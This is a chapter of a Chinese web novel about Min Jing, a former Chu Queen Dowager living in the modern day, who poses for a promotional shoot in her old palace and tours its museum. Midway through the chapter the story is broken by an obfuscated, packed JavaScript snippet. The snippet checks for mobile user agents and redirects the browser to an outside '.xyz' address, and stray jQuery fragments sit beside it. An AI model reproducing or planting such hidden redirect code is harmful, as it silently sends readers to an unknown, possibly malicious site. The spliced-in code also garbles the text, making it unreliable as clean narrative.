46. 第 46 章
作品:《先皇、太后与朕的古穿今日常》 闵静面色古怪。
导演的意思就是让她扮演自己拍几照片,用来宣传……她曾经居住过的楚王宫?
……命运可真是奇妙。
看着面前被保存完好,说不上如初,但依旧与记忆中别无二致的楚王宫,回忆纷纷扰扰涌上心头,闵静心里五味杂陈。
楚国在历史上有过三次强盛的时期,两次迁都。
第一次是商王朝气数将尽,诸侯裂地,自立为王。
沈延的父亲楚昭侯亦生雄心壮志,许重金求来各国名士,变法求强。二十余年的操劳之后,让楚国从人人可欺的六国之末,悍然跻身于最强三国之列。
临终前,昭侯更是拖着病体称王以示天下,并迁都于此。
而她闵静,就是在这座宫殿里度过了她的一生。
她如何从一件生死都不由自己的貌美礼物,到受尽万般宠爱的国君宠妃,再到权掌一国的王太后。
都被这座楚王宫一一见证了。
就算是后来她的继儿一统天下,成了最最尊贵的西帝,迁都安阳城,在那里为她修建了更大更豪华的殿宇,她也是拒绝了他的邀请,选择留在此处。
也是在这里,她彻底闭上了眼睛。
“这里怎么会被保存得这么好?”她忍不住问。
总导演笑了笑:“最开始是因为楚国龙兴之地。楚朝存续期间,这里当然是属于特级保护区。可后来楚朝覆灭,没了白月光滤镜,这里所在的位置说到底还是太偏僻了,离大家公认的中原腹地还有千八百里远,有的实力的君侯谁会想要这种封地?运气不好被派过来的都是些穷光蛋,哪有钱自己造宫殿?有的住就不错了。远离纷争,又一直有人住着,修葺的事也从没落下,就这么一代一代地传下来了。”
闵静默然。
也是。
不是什么人都有老沈家爷们那种血气与胆气,就算身处偏僻苦寒之地,吃着糠咽菜的同时,还敢觊觎富得流油的中原。
理直气壮地野心勃勃。
更多的是落到此处后,被磨砺光血性和锐气,再无进取之心,只想苟延残喘度日之人。
“行吧,怎么拍?”
闵静扬起笑容。
总导演面露惊喜:“跟我来。”
他带着闵静来到议事厅,跟闵静说起自己想要的感觉:“昭太后既然是位女政治家,显然就是那种非常强势的女人,你坐在那里,假装自己在批折子,正在思考一项国家大事的决策,这时候如果有人进来打扰到她,她的眼神应该是那种不悦的,带着一丝凛冽的。”
闵静挑眉,谁这么没规矩这种时候擅闯,是不要命了吗?
可是她没有多说什么,和后世人讲两千年前的规矩,是有些难为人了。
反正他要的只是被打搅的那一瞬时的眼神。
闵静走向书案。
但下一秒,她的一个下意识动作让总导演一愣。
只见闵静在进屋之前,动作优雅而流畅地脱掉了脚上的一双鞋,仅着白袜走了进去。
回过神来的总导演瞬间满眼惊喜,激动万分地抖着手吩咐摄像开始拍摄。
两千年前的人没有高脚椅,人们在室内都是席地而坐,宫室既是王族起居的地方,自然也是光滑干净的木板地。
闵静落座于书案,漫不经心地拿起朱笔。
她想起来一个‘擅闯’的例子了,那时她在楚国已称得上是一手遮天,‘娘家’魏国见状便送来书信与她交好,看能否从她这里占得一些好处。
此外,魏国还遣来一位公主想与继儿联姻。
楚王宫里伺候了她多年的侍女也受到了同样的影响,那一阵子,很是爱在她耳边聒噪,言语间尽是什么不忘母国的提醒。
一回,她正与苏和商议国事,期间为活跃气氛,她说了句不如为继儿求娶齐国公主为妻的话。怎知被在外头的侍女听了去,竟直接破门而入,诘问她这样做如何对得起母国。
闵静回忆着往事,她的眼神慢慢随着情绪出现了变化。
蠢人。
她是出身魏国不假,可身为王族旁支,算计她生父害得她一家落魄的也是魏人。后来见她出落得亭亭玉立,身上又带着魏国王室一丝血统,便不由分说将已经定亲的她掳走,将她当成一件礼物送来给沈延的也是魏人。
当时楚、魏刚交过手,楚国虽然大胜,但也被魏人杀了近万勇士,其中还有沈延的亲族兄。
魏国害怕沈延报复,不肯收手,这才搜罗美人财宝送去,既是赔礼,也是讨好。
只要沈延能停手不再进攻魏国,他们的目的就算达到。至于她这样一件赔礼道歉的礼物,到了楚国以后,会被如何对待,丝毫不在他们考虑范畴之内。
这也算‘娘家’?这也算‘母国’?
闵静抬头,漫不经心地望了镜头一眼。
没有总导演要的不悦或者凛冽,反而平淡如水。
总导演并不满意,正要出声喊卡,希望闵静能再来一回时,却后知后觉地发现,自己似乎说不出话来了。
嘴巴张张合合,却在出声的刹那,被闵静的眼神吓了回来。
他倏地一惊。
一直到闵静重新低头,他缓缓吐出一口气,才惊觉,刚刚他不仅被闵静一个眼神吓得不敢出声,甚至忘了呼吸?
总导演一脸惊喜:“咔!完成得非常好!”
他激动地不吝溢美之词。
“下一个,闵老师,你就想象一下昭太后以女子身,走在文武百官身前的心情,走完这条长廊就行。”
以女子身,走过文武百官的身前?
闵静想了想,一开始她还有些忐忑,得时不时低头看身侧的沈继,王太后的权力说到底还是从年幼的王而来。
何况她一开始根本没想那么多,只想尽到一个做母亲的本分。
就是替自己儿子,争到天底下最好的东西。
后来……万人拥簇,她成了整个楚王宫,乃至整个楚国唯一的话事人。那些老奸巨猾的狐狸,也逐渐在她面前低下头颅,从最初的轻视,到后来的恭谨。
嗯……
挺不错的滋味,但也是她应得的,为了保住这一亩三分地,她殚精竭虑,常常食不知味,夜不成眠,国内这些老奸巨猾的狐狸算得了什么,外头那些紧盯着楚国和她娘俩的列强才是最可怕的敌人。
她每天忙得脚不沾地,哪里有闲情逸致去考虑其他?
既然对外已经受够了步履维艰的难,她就不允许内里再出任何纰漏,所有人,不管是谁,必须安分守己,只许帮忙不许添乱,违令者,杀无赦!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617463|151973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闵静的脚步不失优雅,却带了丝风风火火的感觉。
时间宝贵,刻不容缓。
她目视前方,眼角眉梢满是坚定,气势如风更如火,叫人心折。
“闵老师……”
总导演见猎心喜,要求越来越多,言语间也愈发尊敬,对闵静的称呼也不由自主地带上了‘老师’二字。
别说照片,就是视频都拍了一条又一条,最后还是李洁等跟随导演看不过去,旁敲侧击说时间快到了,再不去做任务整个拍摄流程恐怕都要首影响,总导演才满是不舍地结束了拍摄。
闵静却毫无所觉。
一直到袁嘉宝满脸赞叹地来到她身边,拍着她的肩膀说:“看不出来啊姐妹,你很有演戏天赋,不去拍戏真是可惜了。”
闵静将思绪拉回现实:“别胡说。”
“我没胡说,你是没看到你刚才的眼神和姿态,我还真以为历史上的昭太后复活了呢。”
闵静看了她一眼:“说不定我还真是她呢?”
袁嘉宝大笑起来:“骗鬼呢,你跟她一点都不像。”
闵静:?
“哪里不像?”
“昭太后可是个狠角色,我读书不多,但也听说过她为了让王权顺利地交接到儿子西帝手里,用自己的性命做诱饵,杀了全族陪葬的故事。那可是两千年前的封建时代,还是乱世,一个女人不但能坐到专权君主的位置,把楚国管得井井有条,连自己的亲族都下得去手灭掉,你说她得多狠?”
说完小道消息,她看向闵静:“我承认,静静你是女中豪杰,很讲义气,很够朋友,但要想达到昭太后那种地步,还是差很多的。”
闵静听完,良久才笑了声:“昭太后的形象这么不好?”
“也不能说是不好。狠角色这个形容也不算是贬义词。我不是说了吗,那种大环境下她一个女人带着儿子,在丧夫的前提下,能走到那种地步已经很不容易了,手段不残忍些怎么活?”
闵静没有吭声。
李洁来提醒她们该去做任务了,任务卡上的地点是楚王宫里位于中央大殿的博物馆里,于是两人结伴前往。
这时直播间也重新开始营业,宣传片这事目前是总导演的一个提案,他看闵静已经打扮好了,不想浪费这一形象,便打算先拍了到时候再拿成品去谈,但在此之前他不想消息外露,就找由头暂停了直播。
博物馆不小,用玻璃橱柜陈列了许多文物,闵静扫过好几眼,又忍不住感慨万千。
这里的东西自然不可能是她用过的,作为太后,生前所用的贵重东西死后全部陪葬是起码的尊荣,除非是她本人亲自赏赐给旁人的,否则不可能留在外头。
她感慨的是这些曾经精致却不算贵重的东西明明已经在岁月的侵蚀下变得腐朽、破烂,大多数的光辉已经不复存在,却依旧被后人珍惜收藏,妥善管理,以供后世瞻仰。
或许这就是传承的意义?
闵静意识到此番旧地重游给她带来太多的感觉,她都难以自拔地变得矫情了。
正当此时,袁嘉宝再一次凑近,跟她咬耳朵:
“我听说,昭太后和当时楚国的相国苏和关系莫逆,苏和因此终身不娶。如果是真的话,这也太痴情了。”
闵静:?